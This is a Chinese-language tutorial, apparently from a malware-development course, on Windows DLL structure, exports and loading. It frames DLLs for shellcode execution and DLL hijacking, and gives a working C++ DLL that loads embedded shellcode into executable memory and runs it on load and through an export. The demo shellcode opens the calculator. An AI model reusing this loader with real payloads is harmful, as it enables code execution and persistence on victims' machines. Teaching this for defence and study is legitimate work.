# 动态链接库文件

### **DLL 文件**

对于 Windows 操作系统，EXE 与 DLL 虽然同为 PE 文件，但是这 2 种文件类型依旧有着诸多的不同。DLL 是可执行函数或数据的共享库，可供多个应用程序同时使用。DLL 文件用于导出供进程使用的函数。与 EXE 文件不同，DLL 文件不能独自被用于执行代码 (例如不能双击即运行)，而是需要由其他程序调用 DLL 中的函数来实现代码执行。如我们之前探讨的 **MessageBoxW**，是从 **user32.dll** 导出的，因此如果程序想要调用该函数，首先需要将 user32.dll 加载到其地址空间中。

默认情况下，一些 DLL 会自动加载到每个进程中，例如 **ntdll.dll**、**kernel32.dll** 和 **kernelbase.dl**l 等，因为这些导出函数对于进程的正常执行非常重要。

例如，我们查看 explorer.exe 与 firefox.exe 加载的 DLL，它们都加载了 kernel32.dll，且该 DLL 的基址都是一样的，这也印证了同个 DLL 可供多个应用程序同时使用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/7iPXrkMpV5abZ5El-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/7iPXrkMpV5abZ5El-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6a3OCj6dXcWGienV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6a3OCj6dXcWGienV-image.png)

总之，DLL 在 Windows 上被广泛使用的原因有**代码模块化**、**代码重用**、**内存高效使用**等。

### **编写 DLL**  


让我们使用 C++ 编写一个 DLL 文件以了解 DLL 在代码层面的结构。虽然 C# 也可以用于编写 DLL 文件，但是 C# 编译的 DLL 是托管DLL，而 C++ 编译的 DLL 是非托管 DLL，用途和用法上也有较大的不同，因此我们现在着眼于 C++ 编写的 DLL 文件。

使用 Visual Studio 新建一个 C++ 语言的 **Dynamic-Link Library** 项目：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/5z8K9mIAAL1D5uDh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/5z8K9mIAAL1D5uDh-image.png)

一个 DLL 文件的代码框架如下：

```c++
#include "pch.h"


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

**DllMain** 为 DLL 文件的入口，switch 分支里的 4 个 case 分别为：**进程在加载该 DLL**、**进程在创建新线程**、**线程正常退出**、**进程解除对该 DLL 的加载**。在上个小节，我们讲了 DLL 文件可以提供导出函数为其他 PE 文件所用，对于想要导出的函数，在前面加上 **extern \_\_declspec(dllexport)** 关键字。

观察以下代码，我们发现当该 DLL 被加载时，MessageBox 会弹出，显示 **Loaded!**。而当导出函数 messagebox() 被调用的时候，MessageBox 也会弹出，但显示的是 **Export Function is invoked**。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"


extern "C" __declspec(dllexport) void messagebox()
{
    MessageBoxA(NULL, "Export Function is invoked", "Export", MB_OK);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Loaded!", "ATTACH", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

编译后，使用 PE Bear 查看导出表，我们便能看到 messagebox 导出函数。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/mUmGPq9COtmR0JJv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/mUmGPq9COtmR0JJv-image.png)

从恶意软件开发的角度，尤其是配合之前所讲的 **DLL 劫持/代理**技术，想要在 DLL 里实现 Shellcode 执行，我们需要注意不能在 DllMain 中使用 **LoadLibrary**，不然会导致死锁问题。以 Meterpreter 或 CobaltStrike 的 Shellcode 为例，它们都有用到 LoadLibrary 来加载所需函数寄居的 DLL。那么，要在 DLL 中执行 Shellcode，我们可以在 DllMain 中创建一个新的**线程**来执行 Shellcode，或者在**导出函数**中执行 Shellcode。

如下图所示的代码，函数 **calc\_export** 与 **calc\_dllmain** 中的代码基本相同。calc\_export 可以从外部调用，例如通过 rundll32 指定该导出函数。calc\_dllmain 则是将要在 DllMain 中执行的代码进行了封装，该函数通过**创建新的进程**的方式执行了计算器的 Shellcode。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"


unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};



extern "C" __declspec(dllexport) void calc_export()
{
    int length = sizeof(shellcode);
    void * exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    ((void(*) ()) exec)();
}


void calc_dllmain()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        calc_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

使用 rundll32 外部调用 calc\_export 函数，计算器弹出来 2 次，一次是从 DllMain 中的 Shellcode 执行，一次是我们指定的导出函数中的 Shellcode 执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/513gLqOxVBGglsc8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/513gLqOxVBGglsc8-image.png)

### **载入 DLL**

对于像刚才那样我们自己编写的 DLL 文件，Windows 是不会自动载入的。那么，我们该怎么在一个应用程序中载入该 DLL 并调用其导出函数呢？简单地说，先通过 **LoadLibrary** API 来载入指定 DLL 文件至程序的内存，接着使用 **GetProcessAddress** 获得导出函数的地址，最后执行该函数。代码如下：

```c++
#include <iostream>
#include <windows.h>

typedef void (*calc_export)();

int main()
{
    HMODULE hModule = LoadLibraryA("D:\\tooling\\dllcpp\\x64\\Release\\dllcpp.dll");
    calc_export calc_ptr=(calc_export)GetProcAddress(hModule, "calc_export");
    calc_ptr();
}
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/LqMnt779a6Q0BTCD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/LqMnt779a6Q0BTCD-image.png)

如果 DLL 已经被载入到应用的内存中，那么使用 **GetModuleHandle** API 获得对该 DLL 的句柄。

```
#include <iostream>
#include <windows.h>

typedef int (WINAPI* MessageBoxAType)(
    HWND          hWnd,
    LPCSTR        lpText,
    LPCSTR        lpCaption,
    UINT          uType
    );

int main()
{
    HMODULE hModule = GetModuleHandleA("user32.dll");
    if (hModule != NULL)
    {
        MessageBoxAType msg_ptr = (MessageBoxAType)GetProcAddress(hModule, "MessageBoxA");
        if (msg_ptr != NULL)
        {
            msg_ptr(NULL, "Dler Security 2022", "Message", MB_OK);
        }
        else
        {
            std::cout << "Failed to locate the function." << std::endl;
        }
    }
    else
    {
        std::cout << "Failed to load the DLL." << std::endl;
    }
}
```